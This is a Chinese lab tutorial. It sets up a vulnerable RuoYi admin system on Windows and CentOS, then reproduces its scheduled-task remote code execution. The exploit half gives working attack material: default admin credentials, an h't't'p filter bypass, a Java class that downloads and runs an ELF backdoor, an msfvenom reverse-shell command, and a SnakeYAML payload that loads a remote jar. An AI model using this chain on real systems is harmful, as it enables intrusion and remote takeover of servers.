很基础的一个漏洞复现和环境搭建,希望能让部分人学习
Windows安装
环境:
- IDEA
- Java 1.8.0_152
- Mysql 5.7.26
- Apache-Maven-3.8.4
- Windows 10 家庭版
下载
若依后台系统下载:https://gitee.com/y_project/RuoYi/tree/master/
点击master->标签然后下载存在漏洞的版本即可

Apache-Maven-3.8.4中间件下载:https://maven.apache.org/download.cgi 百度云盘链接:https://pan.baidu.com/s/1kZ_QYTBp2kMLPIAe7CJVAA?pwd=rv7j

下载好之后解压到一个目录,并且修改里面的配置文件

修改conf目录下settings.xml

这里是绝对路径,目录存放的是等会maven下载的lib包
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
<pluginGroups>
</pluginGroups>
<proxies>
</proxies>
<servers>
</servers>
<mirrors>
<mirror>
<id>mirrorId</id>
<mirrorOf>repositoryId</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://my.repository.com/repo/path</url>
</mirror>
<!-- 添加国内镜像源 -->
<mirror>
<id>nexus-aliyun</id>
<mirrorOf>*</mirrorOf>
<name>Nexus aliyun</name>
<url>http://maven.aliyun.com/nexus/content/groups/public</url>
</mirror>
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>https://maven.aliyun.com/repository/public</url>
<mirrorOf>central</mirrorOf>
</mirror>
</mirrors>
<!--本地仓库位置修改 -->
<localRepository>E:\JavapProject\TestMaven</localRepository>
<profiles>
</profiles>
</settings>
可以直接复制这个settings.xml,里面添加了国内镜像源,这样下载lib包也会更快
配置IDEA
使用IDEA打开Ruoyi项目,来到设置File->Settings

来到Maven的配置页面,把这两个配置信息选上

- 第一个是刚刚修改的Maven的xml文件路径
- 第二个是Maven下载lib包存放的目录,要跟xml里面的路径一致
点击OK之后就会开始下载,刚刚设置的本地仓库目录里面也有下载的lib包

如果没有下载的话点击右侧的Maven,然后按刷新按钮

等待片刻,下载完成之后可能会有六个感叹号,不用管他

配置Mysql数据库
创建一个名为ry的数据库,并且把sql目录下的两个.sql文件都导入进去

修改数据库配置信息位置:ruoyi-admin/src/main/resources/application-druid.yml

修改username和password,对应的就是数据库用户和密码 localhost:3306/ry这里的ry就是库名,如果库名不是ry就在这里修改成对应的库名
这里数据库是本地就填写localhost,如果是远程服务器就填写对应IP
application.yml里面可以修改Web服务的端口号

运行RuoYi
运行这个文件ruoyi-admin/src/main/java/com.ruoyi/RuoYiApplication.java 右键run

看到若依启动成功就可以访问了,默认的密码是admin/admin123

Linux安装
环境
- Centos7 64位
- Mysql 5.7
- Java 1.8.0_171
首先Mysql数据库也需要导入那两个.sql文件

然后我们在本地将项目打包
配置maven环境变量

- 变量名:MAVEN-HOME
- 变量值:maven目录

在系统变量Path中里面加上%MAVEN_HOME%\bin

终端输入mvn -version

打包成jar
若依非常银性给到了一键打包的批处理脚本,来到RuoYi目录下的bin目录中
打包前记得在配置文件中修改好Linux对应的数据库账号密码和库名

以管理员权限分别运行第一个clean.bat批处理脚本文件和第二个package.bat批处理脚本文件
说人话就是先运行第一个,结束了再运行二个
此时在RuoYi/ruoyi-admin/target目录下有个ruoyi-admin.jar

这个就是一会在Linux上跑的jar
Centos7安装java1.8
这里累了,不写了,参考我的Blog:https://blog.333ling.com/index.php/archives/688/
运行
把jar包放上去之后,mysql服务正常启动,就可以直接运行了
关闭防火墙
systemctl stop firewalld.service
启动
java -jar ruoyi-admin.jar

后台-定时任务RCE
- 版本:RuoYi < 4.6.2
首先我们需要进入到若依管理系统后台,可以尝试弱口令admin/admin123 进入后台之后来到系统监控->定时任务

首先新增一个定时任务,调用目标字符串只填写http测试一下该框架是否存在漏洞范围内

因为在Ruoyi > 4.7.2以后的版本,调用目标字符串禁止http
https
ldap
rmi
协议 我们可以在RuoYi-4.7.3的SysJobController.java中看到他的判断

ctrl选中,可以跟踪过来看看

4.6.2 <= Ruoyi < 4.7.2中,字符串的限制可以通过h’t’t’p的方式进行绕过 但是在Ruoyi > 4.7.2以后的版本,拉黑了更多违规字符串

定时任务成功添加带有http的字符串之后就可以进行漏洞利用了

漏洞复现
Payload下载地址:https://github.com/artsploit/yaml-payload
来到src/artsploit编辑AwesomeScriptEngineFactory.java这个文件内容

我这里根据土司一位师傅,进行了修改https://www.t00ls.com/viewthread.php?tid=65843
public AwesomeScriptEngineFactory() throws Exception{
String [] cmd={"/bin/sh","-c","wget http://192.168.0.1/config.elf && chmod +x config.elf && ./config.elf"};
Class processimpl=Class.forName("java.lang.ProcessImpl");
java.lang.reflect.Method m1=processimpl.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
m1.setAccessible(true);
Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);
}
这一处就是执行命令的关键代码,由于不懂java,所以不能详细给师傅讲解代码意思了

将要执行的命令放到cmd数组中,Wget下载elf后门,给可执行权限并运行 当然不局限于这种方式,比如bash
nc
反弹shell都是可以的,可以随意发挥
msf生成后门
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.2.107 lport=5555 -f elf -o /root/config.elf
不上线但是成功下载了的话可能对方linux
是x86
的,更换为x86
的payload
即可,或者不出网
将http请求链接替换成自己的后门下载链接

监听一下

制作jar包
编译刚刚编辑的java
文件
javac AwesomeScriptEngineFactory.java
编译完会提示使用了未经检查或不安全的操作并让我们重新编译,不用管他,继续下一步

来到目录最上层,打包成jar
jar -cvf yaml-msf-linux.jar -C src/ .

这个jar包就是我们一会需要在定时任务加载的,放到Web服务器上,并且修改http请求地址,确保目标机器可以请求到

这里可以还使用
ldap
rmi
协议,但是不知道ldap
和rmi
服务怎么起,有师傅的能教教吗
Payload
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.2.107/yaml-msf-linux.jar"]]]]')
修改调用目标字符串为我们的Payload

保存,点击更多操作->执行一次

web服务器接收到两个下载,并且msf成功收到session

至此,完事。!